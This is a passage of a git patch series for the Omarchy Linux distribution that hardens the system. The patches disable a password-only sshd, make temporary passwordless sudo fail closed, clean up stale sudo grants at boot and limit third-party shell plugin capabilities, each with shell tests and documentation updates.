-fi +# Conditions the migration cannot repair complete with a notice — leaving the +# machine as it was — so they never block the migrations queued behind this one. +SSHD_ENABLED=1 SSHD_ACTIVE=1 SSHD_PASSWORD_AUTH=yes run_migration ineffective >"$test_dir/ineffective.output" 2>&1 || + fail "an ineffective drop-in must complete without blocking later migrations" [[ ! -e $test_dir/ineffective/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || fail "SSH migration removes an ineffective config" ! grep -qF 'reload sshd.service' "$test_dir/ineffective.calls" || fail "SSH migration must not reload ineffective hardening" -pass "SSH migration stays pending when another rule keeps password authentication enabled" +pass "SSH migration backs off when another rule keeps password authentication enabled" -if SSHD_ENABLED=1 SSHD_ACTIVE=1 SSHD_SYNTAX_VALID=0 run_migration invalid-config >"$test_dir/invalid-config.output" 2>&1; then - fail "SSH migration must fail when sshd rejects its config" -fi +SSHD_ENABLED=1 SSHD_ACTIVE=1 SSHD_SYNTAX_VALID=0 run_migration invalid-config >"$test_dir/invalid-config.output" 2>&1 || + fail "a rejected config must complete without blocking later migrations" [[ ! -e $test_dir/invalid-config/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || fail "SSH migration removes a rejected config" ! grep -qF 'reload sshd.service' "$test_dir/invalid-config.calls" || fail "SSH migration must not reload rejected hardening" -pass "SSH migration fails safely when sshd rejects the config" +pass "SSH migration backs off when sshd rejects the config" + +# The installed config is valid, so a failed reload only delays it until the +# next sshd restart; keep it staged rather than failing or removing it. +SSHD_ENABLED=1 SSHD_ACTIVE=1 SSHD_RELOAD_VALID=0 run_migration reload-fail >"$test_dir/reload-fail.output" 2>&1 || + fail "a failed reload must complete without blocking later migrations" +[[ -e $test_dir/reload-fail/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "a failed reload keeps the valid hardening config staged" +pass "SSH migration keeps the hardening staged when sshd cannot reload" + +# Privileges are the one genuinely retryable failure: stay pending so the +# login notifier prompts for a terminal run. +if SUDO_ALLOWED=0 SSHD_ENABLED=1 SSHD_ACTIVE=1 run_migration no-sudo >"$test_dir/no-sudo.output" 2>&1; then + fail "SSH migration must stay pending when privileges are unavailable" +fi +[[ ! -e $test_dir/no-sudo/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "no hardening config is left behind without privileges" +pass "SSH migration stays pending until privileges are granted" From 5c03dc8c096349436c793c40f79bc1b5918da902 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 18:45:05 -0400 Subject: [PATCH 181/336] Disable sshd entirely when no usable key is authorized The old setup command enabled sshd before importing a key, so an aborted run left a password-only server exposed. Skipping that machine kept the hole Omarchy opened; close it instead by disabling sshd. Omarchy is a desktop distro, so the console remains, and the warning explains how to set up key-based access or deliberately re-enable password logins. With the stakes flipped from skip to disable, "no usable key" must not false-positive: follow an authorized_keys symlink to its key (dotfiles setups have working key auth), and treat an unreadable file as unverifiable rather than keyless. Amends the unreleased 1788124236 migration in place; no released install has run it, so every machine still gets the new behavior in one pass. Co-Authored-By: Claude Fable 5 --- migrations/1788124236.sh | 25 +++++++-- test/shell.d/sshd-hardening-migration-test.sh | 51 ++++++++++++++++--- 2 files changed, 65 insertions(+), 11 deletions(-) diff --git a/migrations/1788124236.sh b/migrations/1788124236.sh index 0282b775..c8f6519b 100644 --- a/migrations/1788124236.sh +++ b/migrations/1788124236.sh @@ -1,4 +1,4 @@ -echo "Disable SSH password authentication on existing key-based setups" +echo "Disable SSH password authentication, or sshd itself when no key is authorized" config=/etc/ssh/sshd_config.d/10-omarchy-hardening.conf authorized_keys="$HOME/.ssh/authorized_keys" @@ -53,9 +53,26 @@ has_usable_key() { return 1 } -if [[ ! -f $authorized_keys || -L $authorized_keys || ! -s $authorized_keys || ! -r $authorized_keys ]] || - ! has_usable_key; then - skip "$authorized_keys has no usable public key." +# A file that exists but cannot be read leaves the key question unanswered; do +# not treat it as proof the machine is password-only. [[ -f ]] and the read +# both follow symlinks on purpose: a dotfiles-managed authorized_keys link with +# a working key must not count as keyless. +if [[ -f $authorized_keys && ! -r $authorized_keys ]]; then + skip "Could not read $authorized_keys to check for a usable key." +fi + +# The old setup command enabled sshd before importing a key, so an aborted run +# left a password-only server exposed. Without a usable key there is nothing to +# harden: close the hole Omarchy opened by disabling the server. Omarchy is a +# desktop distro, so the console remains; re-enabling password SSH afterwards +# is an intentional, informed choice the warning explains how to make. +if [[ ! -f $authorized_keys ]] || ! has_usable_key; then + if ! as_root systemctl disable --now sshd.service; then + echo "Administrator privileges are required to close the password-only SSH server. Run omarchy-migrate again from a terminal." >&2 + exit 1 + fi + echo "No usable SSH key is authorized, so sshd only accepted password logins. The SSH server has been disabled: run omarchy-setup-security-sshd to set it up with key-based authentication, or re-enable sshd to accept password logins anyway." + exit 0 fi # Under StrictModes, sshd's default, a group- or world-writable home directory, diff --git a/test/shell.d/sshd-hardening-migration-test.sh b/test/shell.d/sshd-hardening-migration-test.sh index d48a374a..e5e6c2cc 100755 --- a/test/shell.d/sshd-hardening-migration-test.sh +++ b/test/shell.d/sshd-hardening-migration-test.sh @@ -18,6 +18,7 @@ case "$1 $2" in "is-enabled --quiet") [[ ${SSHD_ENABLED:-0} == 1 ]] ;; "is-active --quiet") [[ ${SSHD_ACTIVE:-0} == 1 ]] ;; "reload sshd.service") [[ ${SSHD_RELOAD_VALID:-1} == 1 ]] ;; +"disable --now") ;; *) exit 2 ;; esac STUB @@ -62,6 +63,14 @@ run_migration() { valid) printf '%s\n' "$public_key" >"$home/.ssh/authorized_keys" ;; invalid) printf 'not a public key\n' >"$home/.ssh/authorized_keys" ;; private) cat "$test_dir/key" >"$home/.ssh/authorized_keys" ;; + symlink) + printf '%s\n' "$public_key" >"$home/.ssh/imported_key" + ln -s imported_key "$home/.ssh/authorized_keys" + ;; + unreadable) + printf '%s\n' "$public_key" >"$home/.ssh/authorized_keys" + chmod 000 "$home/.ssh/authorized_keys" + ;; esac if [[ ${LOOSE_SSH_PERMS:-0} == 1 ]]; then chmod 755 "$home/.ssh" @@ -85,6 +94,10 @@ run_migration() { bash -euo pipefail } +sshd_disabled() { + grep -qxF "sudo systemctl disable --now sshd.service" "$test_dir/$1.calls" +} + SSHD_ENABLED=0 SSHD_ACTIVE=0 run_migration disabled [[ ! -e $test_dir/disabled/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || fail "SSH migration leaves a disabled daemon alone" @@ -97,23 +110,42 @@ grep -qxF "PasswordAuthentication no" "$test_dir/hardened/root/etc/ssh/sshd_conf fail "the existing hardening config is left alone" pass "SSH migration no-ops when the hardening config already exists" +# Without a usable key, sshd only accepts password logins — the hole the old +# setup command could leave open. The migration closes it by disabling sshd. AUTHORIZED_KEY_STATE=missing SSHD_ENABLED=1 run_migration no-key >/dev/null [[ ! -e $test_dir/no-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || - fail "SSH migration must not disable passwords without an authorized key" -! grep -q '^sudo ' "$test_dir/no-key.calls" || fail "missing SSH key does not prompt for privileges" + fail "SSH migration must not write the hardening config without an authorized key" +sshd_disabled no-key || fail "SSH migration disables a password-only sshd" +pass "SSH migration disables sshd when no key is authorized" AUTHORIZED_KEY_STATE=invalid SSHD_ENABLED=1 run_migration invalid-key >/dev/null -[[ ! -e $test_dir/invalid-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || - fail "SSH migration must not trust a malformed authorized_keys file" -pass "SSH migration requires a usable authorized key before disabling passwords" +sshd_disabled invalid-key || fail "a malformed authorized_keys leaves sshd password-only" +pass "SSH migration disables sshd when authorized_keys holds no valid key" # ssh-keygen -lf accepts a whole private-key file, so only a per-line check # catches the classic `cp id_ed25519 authorized_keys` slip that sshd cannot use. AUTHORIZED_KEY_STATE=private SSHD_ENABLED=1 run_migration private-key >/dev/null [[ ! -e $test_dir/private-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || fail "SSH migration must not treat a private key as an authorized key" -! grep -q '^sudo ' "$test_dir/private-key.calls" || fail "a private-key authorized_keys does not prompt for privileges" -pass "SSH migration rejects an authorized_keys holding a private key" +sshd_disabled private-key || fail "a private-key authorized_keys leaves sshd password-only" +pass "SSH migration disables sshd when authorized_keys holds a private key" + +# A dotfiles-managed symlink with a working key is a key-based setup, not a +# keyless one; it must be hardened, never disabled. +AUTHORIZED_KEY_STATE=symlink SSHD_ENABLED=1 SSHD_ACTIVE=1 run_migration symlink-key >/dev/null +grep -qxF "PasswordAuthentication no" "$test_dir/symlink-key/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf" || + fail "SSH migration hardens a symlinked authorized_keys with a valid key" +! sshd_disabled symlink-key || fail "SSH migration must not disable sshd when the symlinked key is usable" +pass "SSH migration follows an authorized_keys symlink to its key" + +# An unreadable file answers neither "keyless" nor "key-based": touch nothing. +if (( EUID != 0 )); then + AUTHORIZED_KEY_STATE=unreadable SSHD_ENABLED=1 run_migration unreadable >/dev/null + [[ ! -e $test_dir/unreadable/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || + fail "SSH migration must not harden against an unverifiable authorized_keys" + ! grep -q '^sudo ' "$test_dir/unreadable.calls" || fail "an unreadable authorized_keys does not prompt or disable" + pass "SSH migration leaves an unreadable authorized_keys alone" +fi # StrictModes makes sshd ignore authorized_keys under a group-writable home, # so the key that validated would be unusable and passwords the only way in. @@ -174,3 +206,8 @@ fi [[ ! -e $test_dir/no-sudo/root/etc/ssh/sshd_config.d/10-omarchy-hardening.conf ]] || fail "no hardening config is left behind without privileges" pass "SSH migration stays pending until privileges are granted" + +if SUDO_ALLOWED=0 AUTHORIZED_KEY_STATE=missing SSHD_ENABLED=1 run_migration no-sudo-keyless >"$test_dir/no-sudo-keyless.output" 2>&1; then + fail "SSH migration must stay pending when it cannot disable a password-only sshd" +fi +pass "SSH migration stays pending when disabling sshd needs privileges" From 945af75aa2c0bf5b40a0155500f0774f06db6721 Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Mon, 31 Aug 2026 17:24:59 +0200 Subject: [PATCH 182/336] Fail closed when passwordless sudo expiry cannot arm Remove stale passwordless sudo grants during boot and revoke a live grant immediately if its transient expiry timer cannot be created. Exercise both failure paths and the shipped tmpfiles rule against a disposable root. Co-authored-by: Adolanium <94890352+Adolanium@users.noreply.github.com> --- bin/omarchy-sudo-passwordless | 21 +++- etc/tmpfiles.d/omarchy-nopasswd-sudo.conf | 5 + manual/48-security.md | 2 +- test/shell.d/nopasswd-sudo-expiry-test.sh | 123 ++++++++++++++++++++++ 4 files changed, 145 insertions(+), 6 deletions(-) create mode 100644 etc/tmpfiles.d/omarchy-nopasswd-sudo.conf create mode 100644 test/shell.d/nopasswd-sudo-expiry-test.sh diff --git a/bin/omarchy-sudo-passwordless b/bin/omarchy-sudo-passwordless index ad157ae9..719d881b 100755 --- a/bin/omarchy-sudo-passwordless +++ b/bin/omarchy-sudo-passwordless @@ -13,6 +13,19 @@ if [[ $1 && ! $1 =~ ^[0-9]+$ ]]; then exit 1 fi +arm_expiry() { + if sudo systemd-run --on-active=${MINUTES}m --timer-property=AccuracySec=1s --unit="$TIMER_NAME" \ + rm -f -- "$NOPASSWD_FILE"; then + return 0 + fi + + echo "Failed to schedule passwordless sudo expiry. Revoking access now." >&2 + if ! sudo rm -f -- "$NOPASSWD_FILE"; then + echo "CRITICAL: Could not remove $NOPASSWD_FILE. Remove it as root immediately." >&2 + fi + return 1 +} + echo "Toggle passwordless sudo..." # Safety: if the file exists but the timer doesn't (e.g. after reboot), clean up @@ -24,8 +37,7 @@ fi if sudo test -f "$NOPASSWD_FILE"; then if [[ $1 ]]; then sudo systemctl stop "${TIMER_NAME}.timer" 2>/dev/null - sudo systemd-run --on-active=${MINUTES}m --timer-property=AccuracySec=1s --unit="$TIMER_NAME" \ - rm "$NOPASSWD_FILE" + arm_expiry || exit 1 echo "Passwordless sudo timer updated. It will now automatically disable in ${MINUTES} minutes." else sudo rm "$NOPASSWD_FILE" @@ -48,12 +60,11 @@ else if gum confirm "Enable passwordless sudo for ${MINUTES} minutes? This is a significant security risk!"; then echo "${USER} ALL=(ALL) NOPASSWD: ALL" | sudo tee "$NOPASSWD_FILE" > /dev/null sudo chmod 440 "$NOPASSWD_FILE" - sudo systemd-run --on-active=${MINUTES}m --timer-property=AccuracySec=1s --unit="$TIMER_NAME" \ - rm "$NOPASSWD_FILE" + arm_expiry || exit 1 echo "" echo "Passwordless sudo has been ENABLED. It will automatically disable in ${MINUTES} minutes." - echo "Note: if you restart before then, run omarchy-sudo-passwordless again to disable it." + echo "A restart removes the passwordless sudo rule as well." else echo "Aborted. No changes made." fi diff --git a/etc/tmpfiles.d/omarchy-nopasswd-sudo.conf b/etc/tmpfiles.d/omarchy-nopasswd-sudo.conf new file mode 100644 index 00000000..2c644ff1 --- /dev/null +++ b/etc/tmpfiles.d/omarchy-nopasswd-sudo.conf @@ -0,0 +1,5 @@ +# omarchy-sudo-passwordless writes /etc/sudoers.d/99-omarchy-nopasswd- and +# arms a transient systemd-run timer to remove it again. Transient units do not +# survive a reboot, so remove any remaining grant during early boot. Boot-only +# (r!) ensures a later systemd-tmpfiles --remove cannot cut a live grant short. +r! /etc/sudoers.d/99-omarchy-nopasswd-* diff --git a/manual/48-security.md b/manual/48-security.md index 94f762ce..45750398 100644 --- a/manual/48-security.md +++ b/manual/48-security.md @@ -20,7 +20,7 @@ It works by restoring the baseline snapshot the installer takes, so it's only av ## Passwordless sudo -Sometimes you want `sudo` to stop asking, most often when an AI agent is doing a long stretch of system work for you. _Setup > Security > Passwordless Sudo_ turns that off for 15 minutes and then puts it back automatically. Run it again before the timer runs out to end it early, and pass your own number of minutes with `omarchy-sudo-passwordless 30` if 15 isn't enough. +Sometimes you want `sudo` to stop asking, most often when an AI agent is doing a long stretch of system work for you. _Setup > Security > Passwordless Sudo_ turns that off for 15 minutes and then puts it back automatically. Run it again before the timer runs out to end it early, and pass your own number of minutes with `omarchy-sudo-passwordless 30` if 15 isn't enough. A restart removes the passwordless sudo rule as well. Be clear-eyed about this one: while it's on, anything running as your user can do anything as root without being asked. That's the whole point, and it's also the whole risk. diff --git a/test/shell.d/nopasswd-sudo-expiry-test.sh b/test/shell.d/nopasswd-sudo-expiry-test.sh new file mode 100644 index 00000000..f332f80e --- /dev/null +++ b/test/shell.d/nopasswd-sudo-expiry-test.sh @@ -0,0 +1,123 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +script="$ROOT/bin/omarchy-sudo-passwordless" +tmpfiles_file="$ROOT/etc/tmpfiles.d/omarchy-nopasswd-sudo.conf" +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +grant="$test_tmp/grant" +calls="$test_tmp/calls" +mkdir -p "$mock_bin" + +cat >"$mock_bin/gum" <<'SH' +#!/bin/bash +exit 0 +SH + +cat >"$mock_bin/systemctl" <<'SH' +#!/bin/bash + +printf 'systemctl %s\n' "$*" >>"$TEST_CALLS" +[[ ${1:-} == "is-active" && ${TEST_TIMER_ACTIVE:-false} == "true" ]] +SH + +cat >"$mock_bin/sudo" <<'SH' +#!/bin/bash + +printf 'sudo %s\n' "$*" >>"$TEST_CALLS" + +case ${1:-} in +test) + [[ ${2:-} == "-f" && -f $TEST_GRANT ]] + ;; +tee) + /usr/bin/tee "$TEST_GRANT" + ;; +chmod) + /usr/bin/chmod "$2" "$TEST_GRANT" + ;; +systemd-run) + [[ ${TEST_FAIL_SYSTEMD_RUN:-false} != "true" ]] + ;; +rm) + /usr/bin/rm -f -- "$TEST_GRANT" + ;; +systemctl) + exit 0 + ;; +*) + echo "unexpected sudo command: $*" >&2 + exit 90 + ;; +esac +SH + +chmod +x "$mock_bin/gum" "$mock_bin/sudo" "$mock_bin/systemctl" + +run_command() { + TEST_CALLS="$calls" TEST_GRANT="$grant" PATH="$mock_bin:$PATH" USER=alice \ + "$script" "$@" +} + +: >"$calls" +enable_output=$(run_command 15) +[[ -f $grant ]] || fail "successful timer setup leaves the passwordless sudo grant enabled" +[[ $(cat "$grant") == "alice ALL=(ALL) NOPASSWD: ALL" ]] || + fail "the enabled grant belongs to the current user" "$(cat "$grant")" +grep -q '^sudo systemd-run --on-active=15m .* rm -f -- /etc/sudoers.d/99-omarchy-nopasswd-alice$' "$calls" || + fail "enabling arms the expiry timer" "$(cat "$calls")" +[[ $enable_output == *"automatically disable in 15 minutes"* ]] || + fail "success is reported after the timer is armed" "$enable_output" +pass "enabling arms expiry before reporting success" + +: >"$calls" +rm -f "$grant" +if failure_output=$(TEST_FAIL_SYSTEMD_RUN=true run_command 15 2>&1); then + fail "enabling fails when the expiry timer cannot be armed" +fi +[[ ! -e $grant ]] || fail "timer setup failure revokes the new passwordless sudo grant" +[[ $failure_output == *"Revoking access now"* ]] || + fail "timer setup failure explains the fail-closed revocation" "$failure_output" +[[ $failure_output != *"Passwordless sudo has been ENABLED"* ]] || + fail "timer setup failure does not report that passwordless sudo was enabled" "$failure_output" +pass "timer setup failure revokes a new grant" + +: >"$calls" +printf 'alice ALL=(ALL) NOPASSWD: ALL\n' >"$grant" +if update_output=$(TEST_TIMER_ACTIVE=true TEST_FAIL_SYSTEMD_RUN=true run_command 30 2>&1); then + fail "updating fails when the replacement expiry timer cannot be armed" +fi +[[ ! -e $grant ]] || fail "timer update failure revokes the existing passwordless sudo grant" +[[ $update_output != *"timer updated"* ]] || + fail "timer update failure does not report success" "$update_output" +pass "timer update failure revokes the existing grant" + +mapfile -t tmpfiles_rules < <(grep -vE '^[[:space:]]*(#|$)' "$tmpfiles_file") +(( ${#tmpfiles_rules[@]} == 1 )) || + fail "passwordless sudo ships one tmpfiles rule" "${tmpfiles_rules[*]}" + +fake_root="$test_tmp/root" +sudoers_dir="$fake_root/etc/sudoers.d" +mkdir -p "$sudoers_dir" +grant_names=(alice buildbot-2 user.123 'service$') +for grant_name in "${grant_names[@]}"; do + touch "$sudoers_dir/99-omarchy-nopasswd-$grant_name" +done +touch "$sudoers_dir/omarchy-dns" + +systemd-tmpfiles --root="$fake_root" --remove --inline "${tmpfiles_rules[@]}" +[[ -f $sudoers_dir/99-omarchy-nopasswd-alice ]] || + fail "boot-only cleanup leaves a live grant alone outside boot" + +systemd-tmpfiles --root="$fake_root" --remove --boot --inline "${tmpfiles_rules[@]}" +for grant_name in "${grant_names[@]}"; do + stale_grant="$sudoers_dir/99-omarchy-nopasswd-$grant_name" + [[ ! -e $stale_grant ]] || fail "boot cleanup removes every generated grant" "$stale_grant" +done +[[ -f $sudoers_dir/omarchy-dns ]] || fail "boot cleanup preserves unrelated sudoers rules" +pass "systemd-tmpfiles removes generated grants only during boot" From 4d017913d06f715da9d960021861cf535e4f15aa Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Tue, 1 Sep 2026 11:54:15 +0200 Subject: [PATCH 183/336] Update the tagline to Beautiful, Fun & Agentic (#9584) Matches omarchy.org, the X header, and the ISO. The README and the agent skill carry their lowercase variants. --- README.md | 2 +- bin/omarchy-provision-owner | 2 +- default/agents/skills/omarchy/SKILL.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 96838a94..5cedfc5c 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Omarchy -Omarchy is a beautiful, modern & opinionated Linux distribution by DHH. +Omarchy is a beautiful, fun & agentic Linux distribution by DHH. Read more at [omarchy.org](https://omarchy.org). diff --git a/bin/omarchy-provision-owner b/bin/omarchy-provision-owner index 4c21ff49..b5321a4d 100755 --- a/bin/omarchy-provision-owner +++ b/bin/omarchy-provision-owner @@ -449,7 +449,7 @@ greeter_screen() { rows=$(stty size 2>/dev/null # Omarchy Skill -Manage [Omarchy](https://omarchy.org/) Linux systems - a beautiful, modern, opinionated Arch Linux distribution with Hyprland. +Manage [Omarchy](https://omarchy.org/) Linux systems - a beautiful, fun, agentic Arch Linux distribution with Hyprland. This skill is for end-user customization on installed systems. It is not for contributing to Omarchy source code. From 1702cf0bee025aa32eddac391c4f9ac32244cfeb Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Tue, 1 Sep 2026 07:58:30 -0600 Subject: [PATCH 184/336] Restrict third-party shell plugin capabilities MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reported-by: Roger Piñol --- agents/skills/shell-dev.md | 4 +- docs/omarchy-shell.md | 12 +- manual/32-shell-plugins.md | 4 +- shell/README.md | 7 +- shell/Ui/PluginBarApi.qml | 86 +++ shell/Ui/qmldir | 1 + shell/plugins/bar/Bar.qml | 232 +++++++- shell/plugins/lock/manifest.json | 5 + shell/plugins/panels/clock/Panel.qml | 4 +- shell/plugins/panels/weather/Panel.qml | 4 +- shell/plugins/polkit/manifest.json | 5 + shell/services/AuthServiceStore.js | 34 ++ shell/services/PluginAppLibraryApi.qml | 46 ++ shell/services/PluginBarStateApi.qml | 12 + shell/services/PluginBarWidgetRegistryApi.qml | 24 + shell/services/PluginFirstPartyServiceApi.qml | 46 ++ shell/services/PluginRegistry.qml | 30 +- shell/services/PluginRegistryApi.qml | 32 + shell/services/PluginShellApi.qml | 75 +++ shell/shell.qml | 547 +++++++++++++++++- .../plugin-auth-boundary/AuthStoreOwner.qml | 12 + .../plugin-auth-boundary/AuthStoreReader.qml | 8 + .../fixtures/plugin-auth-boundary/shell.qml | 82 +++ .../fixtures/plugin-registry/shell.qml | 15 + test/shell.d/plugin-auth-boundary-test.sh | 125 ++++ 25 files changed, 1403 insertions(+), 49 deletions(-) create mode 100644 shell/Ui/PluginBarApi.qml create mode 100644 shell/services/AuthServiceStore.js create mode 100644 shell/services/PluginAppLibraryApi.qml create mode 100644 shell/services/PluginBarStateApi.qml create mode 100644 shell/services/PluginBarWidgetRegistryApi.qml create mode 100644 shell/services/PluginFirstPartyServiceApi.qml create mode 100644 shell/services/PluginRegistryApi.qml create mode 100644 shell/services/PluginShellApi.qml create mode 100644 test/shell.d/fixtures/plugin-auth-boundary/AuthStoreOwner.qml create mode 100644 test/shell.d/fixtures/plugin-auth-boundary/AuthStoreReader.qml create mode 100644 test/shell.d/fixtures/plugin-auth-boundary/shell.qml create mode 100755 test/shell.d/plugin-auth-boundary-test.sh diff --git a/agents/skills/shell-dev.md b/agents/skills/shell-dev.md index d33f21ef..59cc4e8b 100644 --- a/agents/skills/shell-dev.md +++ b/agents/skills/shell-dev.md @@ -20,9 +20,7 @@ Run `omarchy-restart-shell` after making changes to QML files. [`docs/omarchy-shell.md`](../../docs/omarchy-shell.md) and `shell/services/PluginRegistry.qml` for the current contract; fields such as `activation` are optional. -- Entry-point QML files are `Item`s (not `ShellRoot`), and accept the - shell-injected properties `omarchyPath`, `shell`, `manifest`, and - `pluginRegistry` / `barWidgetRegistry` as appropriate. +- Entry-point QML files are `Item`s (not `ShellRoot`), and accept the shell-injected properties `omarchyPath`, `shell`, `manifest`, and `pluginRegistry` / `barWidgetRegistry` as appropriate. First-party plugins receive the host objects. Third-party plugins receive capability-scoped facades: ordinary plugins may look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state; full-bar plugins additionally receive detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities must be stamped from trusted first-party manifests, and third-party registry views must be detached snapshots rather than shared objects. Do not expose host objects or authentication services through new third-party-facing properties. - Panel / overlay / menu plugins must expose `open(payloadJson)` and `close()` lifecycle methods for `shell summon` and `shell hide`. diff --git a/docs/omarchy-shell.md b/docs/omarchy-shell.md index a7c1b389..2fc0a9b3 100644 --- a/docs/omarchy-shell.md +++ b/docs/omarchy-shell.md @@ -41,10 +41,7 @@ Panels, overlays, and menus are loaded when summoned. Plugins can set the top-level manifest key `keepLoaded: true` to survive between summons. First-party services are loaded at startup. -Entry points are QML `Item`s. Panel, overlay, and menu entry points expose -`open(payloadJson)` and `close()` for summon/hide; on load the host injects -`omarchyPath`, `shell`, `manifest`, and the registries (`pluginRegistry` / -`barWidgetRegistry`) as properties. +Entry points are QML `Item`s. Panel, overlay, and menu entry points expose `open(payloadJson)` and `close()` for summon/hide; on load the host injects `omarchyPath`, `shell`, `manifest`, and the registries (`pluginRegistry` / `barWidgetRegistry`) as properties. Built-in plugins receive the trusted host objects. Third-party plugins receive capability-scoped facades instead: ordinary plugins may look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state. A full-bar plugin additionally receives detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities are stamped from trusted first-party manifests, authentication services are kept out of the host's public service map and QML object tree, and third-party registry snapshots can be changed only locally without mutating the host registries. Full schema: [`shell/services/PluginRegistry.qml`](../shell/services/PluginRegistry.qml). @@ -81,12 +78,7 @@ one replaces the active bar, and it is therefore never offered under Disable. Bar widgets may set `barWidget.defaultSection` to `left`, `center`, or `right`; widgets that omit it default to `center`. -Plugins run as **unsandboxed code** inside `omarchy-shell`. Adding warns you -before cloning, plugins land disabled so you can review the code before -`omarchy plugin enable`, and updates show a diff before touching anything. -Commands confirm in a terminal even when given arguments; without one they -refuse rather than guess. Add `--yes` to skip every prompt (the path for -scripts and agents). +Plugins run as **unsandboxed code** inside `omarchy-shell`. Adding warns you before cloning, plugins land disabled so you can review the code before `omarchy plugin enable`, and updates show a diff before touching anything. Commands confirm in a terminal even when given arguments; without one they refuse rather than guess. Add `--yes` to skip every prompt (the path for scripts and agents). The scoped QML interfaces protect shell-owned credentials and cross-plugin controls; they are not an operating-system sandbox, so plugin code still has the same user-level file and process access as the shell. You can still install by hand: drop a plugin into `~/.config/omarchy/plugins//`, run `omarchy-shell shell rescanPlugins`, then diff --git a/manual/32-shell-plugins.md b/manual/32-shell-plugins.md index d54df3fb..bf7f1f2d 100644 --- a/manual/32-shell-plugins.md +++ b/manual/32-shell-plugins.md @@ -4,7 +4,7 @@ The Omarchy desktop runs as a single long-lived Quickshell process called `omarc That's not just an implementation detail. It means you can turn pieces of the desktop off, swap them out, or write your own without touching a line of Omarchy's source. -The first-party plugins ship with Omarchy and live in `$OMARCHY_PATH/shell/plugins/`. Anything you add yourself — your own experiments, or something you found on GitHub — lives in `~/.config/omarchy/plugins/`. Both are discovered the same way at startup; the only difference is where they sit on disk. +The first-party plugins ship with Omarchy and live in `$OMARCHY_PATH/shell/plugins/`. Anything you add yourself — your own experiments, or something you found on GitHub — lives in `~/.config/omarchy/plugins/`. Both are discovered the same way at startup, but built-ins receive trusted shell interfaces while third-party plugins receive a limited interface scoped to their own service and lifecycle. ## Seeing what you have @@ -37,7 +37,7 @@ A third-party plugin is just a git repo with a `manifest.json` at its root. omarchy plugin add https://github.com/acme/omarchy-weather.git --enable ``` -Before it does anything, it tells you plainly that plugins run as arbitrary, unsandboxed code inside your long-lived shell process, shows you the URL, and asks you to confirm. Take that seriously. A plugin isn't a config file — it's code that runs for as long as your session does, with everything your user account can reach. Only add repos you're willing to run, and read them before you enable them. +Before it does anything, it tells you plainly that plugins run as arbitrary, unsandboxed code inside your long-lived shell process, shows you the URL, and asks you to confirm. Take that seriously. The shell does not expose its authentication state or raw host object tree through the third-party plugin interface. A replacement bar receives additional limited capabilities so it can render built-in widgets and orchestrate the configured non-authentication UI, but it still cannot reach authentication services. This is not an operating-system sandbox: plugin code still runs for as long as your session does, with everything your user account can reach. Only add repos you're willing to run, and read them before you enable them. Then it clones the repo into a staging directory, validates the manifest, refuses the install if another plugin already claims that id, and moves it into `~/.config/omarchy/plugins//`. Without `--enable` it asks whether you want it on now, and you can say no and go read the code first. It never runs anything from the plugin, never executes an install hook, and never asks for sudo — it clones files, checks the manifest, and flips a bit over IPC. diff --git a/shell/README.md b/shell/README.md index e72d02ce..039280ff 100644 --- a/shell/README.md +++ b/shell/README.md @@ -89,6 +89,8 @@ to outlive a single summon can set `keepLoaded: true` (e.g. the image picker keeps its overlay window mounted between summons). First-party services are loaded at startup. +Entry points may declare `omarchyPath`, `shell`, `manifest`, `pluginRegistry`, and `barWidgetRegistry` properties for host injection. Built-in plugins receive the trusted host objects. Third-party plugins receive capability-scoped facades: ordinary plugins can look up and control only their own service and lifecycle, menu plugins receive an application-library facade, and plugins can read detached scalar bar state. A full-bar plugin additionally receives detached bar configuration and widget-catalog snapshots, narrow proxies for the non-authentication services used by built-in bar widgets, and lifecycle control over configured non-authentication UI plugins. Authentication capabilities are stamped from trusted first-party manifests, authentication services are retained outside the host's public service map and QML object tree, and changing a third-party registry snapshot cannot mutate the host registry. + The full schema lives in `services/PluginRegistry.qml`. ## Installing a third-party plugin @@ -104,10 +106,7 @@ omarchy plugin update # updates every git-managed plugin omarchy plugin remove acme.weather ``` -> ⚠️ **Plugins run as unsandboxed code inside `omarchy-shell`.** Adding warns -> you before cloning, plugins land disabled so you can review the code before -> enabling, and updates show a diff of the changes before touching anything. -> Only add repos whose code you are willing to run. +> ⚠️ **Plugins run as unsandboxed code inside `omarchy-shell`.** Adding warns you before cloning, plugins land disabled so you can review the code before enabling, and updates show a diff of the changes before touching anything. The scoped QML interfaces protect shell-owned credentials and cross-plugin controls; they are not an operating-system sandbox. Only add repos whose code you are willing to run. Each command is **interactive** when run bare in a terminal (gum pickers, confirmation, a diff to review) and fully **non-interactive** when given diff --git a/shell/Ui/PluginBarApi.qml b/shell/Ui/PluginBarApi.qml new file mode 100644 index 00000000..c30021a5 --- /dev/null +++ b/shell/Ui/PluginBarApi.qml @@ -0,0 +1,86 @@ +import QtQuick + +// Bar surface exposed to an installed third-party widget. Scalar presentation +// state is mirrored by 